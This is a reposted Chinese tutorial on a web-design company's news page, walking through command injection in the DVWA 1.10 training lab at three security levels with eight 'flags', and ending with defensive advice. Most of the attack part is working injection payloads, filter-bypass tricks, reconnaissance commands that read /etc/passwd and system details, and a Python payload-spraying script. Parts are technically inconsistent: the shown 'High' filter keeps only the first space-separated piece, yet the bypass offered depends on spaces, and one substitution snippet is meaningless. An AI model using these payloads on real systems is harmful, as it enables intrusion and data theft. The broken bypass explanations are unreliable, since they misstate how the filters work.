尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全流程解析

DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全流程解析
📅 发布时间:2026/7/11 4:23:24

DVWA 1.10 命令注入实战:从基础绕过到高级利用的完整指南

在网络安全领域,命令注入(Command Injection)始终是Web应用安全测试中的核心课题之一。作为渗透测试人员或CTF选手,掌握不同安全等级下的命令注入技巧不仅能帮助我们发现系统漏洞,更能深入理解防御机制的演变逻辑。本文将基于DVWA 1.10靶场,系统剖析Low/Medium/High三种安全等级的命令注入场景,通过8个实战Flag的获取过程,揭示命令注入的本质原理与进阶技巧。

1. 环境搭建与基础准备

DVWA(Damn Vulnerable Web Application)是专为安全测试设计的PHP/MySQL应用,其模块化的漏洞设计允许我们自由调整安全等级。以下是环境配置的关键步骤:

# 使用Docker快速部署DVWA 1.10 docker run --rm -it -p 8080:80 vulnerables/web-dvwa

访问http://localhost:8080后,需完成以下初始化操作:

  1. 点击"Create/Reset Database"按钮初始化数据库
  2. 使用默认凭证登录(admin/password)
  3. 在"DVWA Security"页面调整安全等级

提示:实验前建议配置PHP的display_errors为On,便于观察报错信息

必要工具准备:

  • Burp Suite:拦截和修改HTTP请求
  • curl:快速测试命令注入点
  • netcat:建立反向Shell连接
  • Python SimpleHTTPServer:临时文件传输

2. Low安全等级:无防护的原始战场

在Low级别下,DVWA未对用户输入做任何过滤。以ping功能为例,观察基础注入模式:

// 原始PHP代码片段 $target = $_REQUEST['ip']; system("ping -c 4 $target");

Flag 1获取:提交127.0.0.1后,返回结果的第一个单词即为Flag。这里演示的是最基本的命令执行功能。

多命令注入技巧:

  • 分号分隔:127.0.0.1; whoami
  • 管道符:127.0.0.1 | cat /etc/passwd
  • 逻辑运算符:127.0.0.1 && uname -a

Flag 2获取:构造显示系统用户的Payload,提交127.0.0.1; cat /etc/passwd,其中; cat /etc/passwd即为Flag值。

3. Medium安全等级:初阶防御与绕过

切换到Medium级别后,代码增加了基础过滤:

$target = str_replace(";", "", $_REQUEST['ip']); system("ping -c 4 $target");

防御分析:

  • 移除所有分号字符
  • 未处理其他命令分隔符

有效绕过方式:

  • 使用&替代:127.0.0.1 & whoami
  • 换行符注入:127.0.0.1%0aid
  • 反引号执行:127.0.0.1 `uname -a`

Flag 3获取:提交127.0.0.1 & cat /etc/passwd后,观察报错信息的倒数第二个单词。

Flag 4获取:查看源码,防御措施以F1.F2格式提交(示例:str_replace.分号)。

4. High安全等级:复合过滤与深度绕过

High级别采用多层过滤机制:

$target = stripslashes($_REQUEST['ip']); $target = explode(" ", $target); $target = $target[0]; system("ping -c 4 $target");

防御机制解析:

  1. 去除转义字符
  2. 按空格分割输入
  3. 只取第一个片段

高级绕过策略:

  • 参数注入:127.0.0.1 -c 1; whoami
  • 环境变量注入:127.0.0.1$IFS$(whoami)
  • 编码绕过:127.0.0.1%0a$(echo${IFS}"payload")

Flag 5获取:通过127.0.0.1 -c 1; cat /etc/passwd获取用户列表,提交-c 1; cat /etc/passwd部分。

Flag 6获取:分析源码,第三个过滤内容为explode函数。

5. 黑名单绕过艺术

当遇到严格命令限制时,可尝试以下技巧:

字符替换技术:

# Python生成替代字符 print("whoami".replace("w", "${substr:0:1}"))

变量拼接法:

a=who; b=ami; $a$b

通配符利用:

/bin/c?t /etc/passwd

Flag 7获取:使用127.0.0.1 -c 1; a=who; b=ami; $a$b,提交a=who; b=ami; $a$b。

6. 数据提取与权限提升

获取Shell后,需要有效提取信息:

常用信息收集命令:

# 系统信息 uname -a cat /etc/issue # 用户信息 whoami id # 网络配置 ifconfig netstat -tuln

文件系统探索技巧:

# 查找配置文件 find / -name "*.conf" -type f 2>/dev/null # 搜索可写目录 find / -perm -o=w -type d 2>/dev/null

Flag 8获取:执行127.0.0.1 -c 1; tail -n 1 /etc/passwd,提交最后一个用户名。

7. 防御方案设计

基于实战经验,推荐多层防御策略:

输入验证层:

// 白名单验证IP格式 if (!filter_var($ip, FILTER_VALIDATE_IP)) { die("Invalid IP format"); }

命令执行层:

# Python安全示例 import subprocess subprocess.run(['ping', '-c', '4', ip], shell=False)

系统加固建议:

  1. 使用最小权限账户运行Web服务
  2. 定期更新系统补丁
  3. 配置适当的SELinux策略

8. 自动化测试与工具集成

将手工测试转化为自动化流程:

使用Burp Suite Intruder:

  1. 捕获正常ping请求
  2. 设置注入位置为IP参数
  3. 加载预定义的命令注入字典

Python自动化脚本示例:

import requests payloads = ["; whoami", "| id", "&& uname -a"] url = "http://target.com/vulnerable.php" for p in payloads: r = requests.post(url, data={"ip": "127.0.0.1" + p}) if "www-data" in r.text: print(f"Vulnerable to: {p}")

在实际渗透测试中,命令注入漏洞的利用往往需要结合具体环境调整策略。通过DVWA的阶梯式训练,我们不仅能掌握基础技巧,更能培养面对新型防御机制时的创造性思维。

相关新闻

  • 基于3D Face HRN的非遗传承人数字分身制作与VR集成实战
  • 200–400元国产机械键盘为何能闭眼入坑?
  • 2026年7月C型钢材/广东彩钢瓦钢材供应商推荐合集_佛山市团铸钢铁有限公司 - 品牌宣传支持者

最新新闻

  • STM32F411RE与L9958电机控制方案设计与优化
  • 工程机械焊接省气装置功能是如何设计的?
  • Python 脚本批量下载 Sentinel-2 数据:基于 USGS API 实现 100 景自动化
  • 2026年7月最新合肥泰格豪雅官方售后服务热线与网点地址查询 - 亨得利官方服务中心
  • C++集成百度AI OCR:从原理到工程实践
  • 20个核心概念,小白也能轻松入门大模型Agent(含收藏)

日新闻

  • OpenClaw本地部署:一键直连微信的私有化AI Agent实战指南
  • Kubernetes 系列【10】控制器:ReplicaSet(副本集)
  • 怎么寄快递才能便宜呢?2026年7月寄快递省钱攻略 - 生活情报姬

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号